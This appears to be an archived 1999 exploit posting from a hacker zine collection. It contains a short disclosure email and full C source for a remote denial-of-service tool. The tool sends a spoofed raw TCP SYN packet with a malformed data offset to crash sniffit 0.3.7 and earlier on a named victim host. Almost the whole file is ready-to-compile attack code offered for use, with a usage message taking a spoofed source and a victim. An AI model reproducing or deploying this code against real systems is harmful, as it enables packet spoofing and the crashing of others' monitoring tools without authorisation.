home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / sniffitover.c < prev    next >
C/C++ Source or Header  |  1999-02-19  |  6KB  |  217 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. From anihilato@famipow.com Wed Feb 17 16:17:12 1999
  5. Date: Thu, 18 Feb 1999 01:16:31 +0100
  6. From: "K`\\meleon" <anihilato@famipow.com>
  7. To: submission@rootshell.com
  8. Subject: Sniffit buffer overflow
  9.  
  10. Hi,
  11.  
  12. I discovered the last version of sniffit does segfault when receiving a
  13. packet whith a data offset > 5,
  14. which means any sniffit can be crashed remotely.
  15. Exploit code follows.
  16.  
  17. -- 
  18. K `\ m e l e o n
  19.  
  20. email : anihilato@famipow.com
  21.   irc : irc.famipow.com (6667) #europe
  22.     [ Part 2: "Attached Text" ]
  23.  
  24. /* Sniffit 0.3.7 (and below) crasher
  25.  *
  26.  * There is a buffer overflow condition in sniffit when receiving
  27.  * a packet with a data offset > 5, thus allowing remote denial of service.
  28.  *
  29.  * Code follows.
  30.  * To compile, kiddies : cc -o scrash scrash.c
  31.  *
  32.  *            K`\meleon (anihilato@famipow.com or irc.famipow.com #europe)
  33.  */
  34.  
  35. #include <stdio.h>
  36. #include <netdb.h>
  37. #include <errno.h>
  38. #include <netinet/in.h>
  39. #include <sys/socket.h>
  40. #include <sys/types.h>
  41. #include <linux/socket.h>
  42. #include <linux/ip.h>
  43. #include <linux/tcp.h>
  44.  
  45. #define TCPHDR   sizeof(struct tcphdr)       
  46. #define IPHDR    sizeof(struct iphdr)        
  47. #define PACKETSIZE  TCPHDR + IPHDR
  48.  
  49.  
  50. unsigned short in_cksum(unsigned short *ptr,int nbytes){  // this function is rip'd :)
  51.                         
  52.     register long           sum;            // assumes long == 32 bits 
  53.     u_short                 oddbyte;
  54.     register u_short        answer;         // assumes u_short == 16 bits 
  55.                         
  56.         sum = 0;
  57.         while (nbytes > 1)  {
  58.                 sum += *ptr++;
  59.                 nbytes -= 2;    
  60.         }
  61.                         
  62.         if (nbytes == 1) {
  63.                 oddbyte = 0;                        // make sure top half is zero 
  64.                 *((u_char *) &oddbyte) = *(u_char *)ptr; // one byte only 
  65.                 sum += oddbyte;
  66.         }               
  67.   
  68.         sum  = (sum >> 16) + (sum & 0xffff);    // add high-16 to low-16 
  69.         sum += (sum >> 16);                     // add carry 
  70.         answer = ~sum;                // ones-complement, then truncate to 16 bits 
  71.         return(answer);
  72. }
  73.  
  74.  
  75. void resolve_address(struct sockaddr * addr, char *hostname, u_short port)
  76. {
  77.    struct  sockaddr_in *address;
  78.    struct  hostent     *host;
  79.        address = (struct sockaddr_in *)addr;
  80.        (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  81.  
  82.        address->sin_family = AF_INET;
  83.        address->sin_port = htons(port);
  84.       address->sin_addr.s_addr = inet_addr(hostname);
  85.  
  86.        if ((int)address->sin_addr.s_addr == -1) {
  87.             host = gethostbyname(hostname);
  88.             if (host) {
  89.                     bcopy( host->h_addr, (char *)&address->sin_addr,host->h_length);
  90.                         }
  91.             else {
  92.                      fprintf(stderr, "Cannot resolve %s, reverting to default 1.2.3.4\n", hostname);
  93.                      address->sin_addr.s_addr = inet_addr("1.2.3.4");
  94.                 }
  95.         }
  96.  
  97. }
  98.  
  99. void sendcrash (char *argv[], struct hostent *host)
  100. {
  101. int sockfd, n;
  102. static struct sockaddr_in local_sin;
  103. static struct sockaddr_in remote_sin;
  104.  
  105. struct tpack{
  106.         struct iphdr ip;
  107.         struct tcphdr tcp;
  108. }tpack;
  109.         
  110. struct pseudo_header{
  111.         unsigned source_address;
  112.         unsigned dest_address;
  113.         unsigned char placeholder;
  114.         unsigned char protocol;
  115.         unsigned short tcp_length;
  116.         struct tcphdr tcp;
  117. }pheader;
  118.  
  119. resolve_address((struct sockaddr *)&local_sin, argv[1], 31337);
  120. resolve_address((struct sockaddr *)&remote_sin, argv[2], 31337);
  121.  
  122. tpack.tcp.source=htons(31337);
  123. tpack.tcp.dest=htons(31337);
  124. tpack.tcp.seq=ntohl(269167349);
  125. tpack.tcp.doff=6;  // This is it
  126. tpack.tcp.res1=0;
  127. tpack.tcp.res2=0;
  128. tpack.tcp.urg=0;
  129. tpack.tcp.ack=0;
  130. tpack.tcp.psh=0;
  131. tpack.tcp.rst=0;
  132. tpack.tcp.syn=1;
  133. tpack.tcp.fin=0;
  134. tpack.tcp.window=0;
  135. tpack.tcp.check=0;
  136. tpack.tcp.urg_ptr=0;
  137.         
  138.     //  IP header 
  139. tpack.ip.version=4;
  140. tpack.ip.ihl=5;
  141. tpack.ip.tos=0;
  142. tpack.ip.tot_len=htons(IPHDR+TCPHDR);
  143. tpack.ip.id=htons(2);
  144. tpack.ip.frag_off=0;
  145. tpack.ip.ttl=64;
  146. tpack.ip.protocol=IPPROTO_TCP;
  147. tpack.ip.check=0;
  148. tpack.ip.saddr=local_sin.sin_addr.s_addr;
  149. tpack.ip.daddr=remote_sin.sin_addr.s_addr;
  150.         
  151.         // IP header checksum  
  152. tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
  153.                 
  154.     // TCP header checksum 
  155. pheader.source_address=(unsigned)tpack.ip.saddr;
  156. pheader.dest_address=(unsigned)tpack.ip.daddr;
  157. pheader.placeholder=0;
  158. pheader.protocol=IPPROTO_TCP;
  159. pheader.tcp_length=htons(TCPHDR);
  160.  
  161. bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
  162.  
  163. tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
  164.  
  165. if ( (sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
  166.    perror("socket");
  167.    exit(1);
  168. }
  169.  
  170. printf("Discovered and coded by K`\\meleon\n");
  171. printf("Sending crash...\n");
  172.  
  173. n = sendto(sockfd, &tpack, PACKETSIZE, 0, (struct sockaddr *)&remote_sin, sizeof(remote_sin));
  174. if (n != PACKETSIZE) {
  175.     perror("Damn, crash packet was not sent properly");
  176.     close(sockfd);
  177.     exit(1);
  178. }
  179.  
  180. printf("CraSh SenT #$!\n");
  181.  
  182. close(sockfd);
  183.  
  184.  
  185.  
  186. }
  187.  
  188.  
  189. main(int argc, char *argv[])
  190. {
  191. int i;
  192. struct hostent *host;
  193.  
  194. if ( (getuid() != 0) && (geteuid() != 0) ) {
  195.    printf("Sniffit CraSheR\n");
  196.    printf("Discovered and coded by K`\\meleon\n");
  197.    printf("You need to be r00t to run this prog...\n");
  198.    exit(1);
  199. }
  200.  
  201. if (argc != 3 ) {
  202.    printf("Sniffit CraSheR\n");
  203.    printf("Discovered and coded by K`\\meleon\n");
  204.    printf("Usage : %s <from host> <victim host>\n", argv[0]);
  205.    exit(1);
  206. }
  207.  
  208. if ( (host = gethostbyname(argv[2])) == 0) {
  209.    herror("Hostname");
  210.    exit(1);
  211. }
  212.  
  213. sendcrash(argv, host);
  214.  
  215.  
  216. }
  217.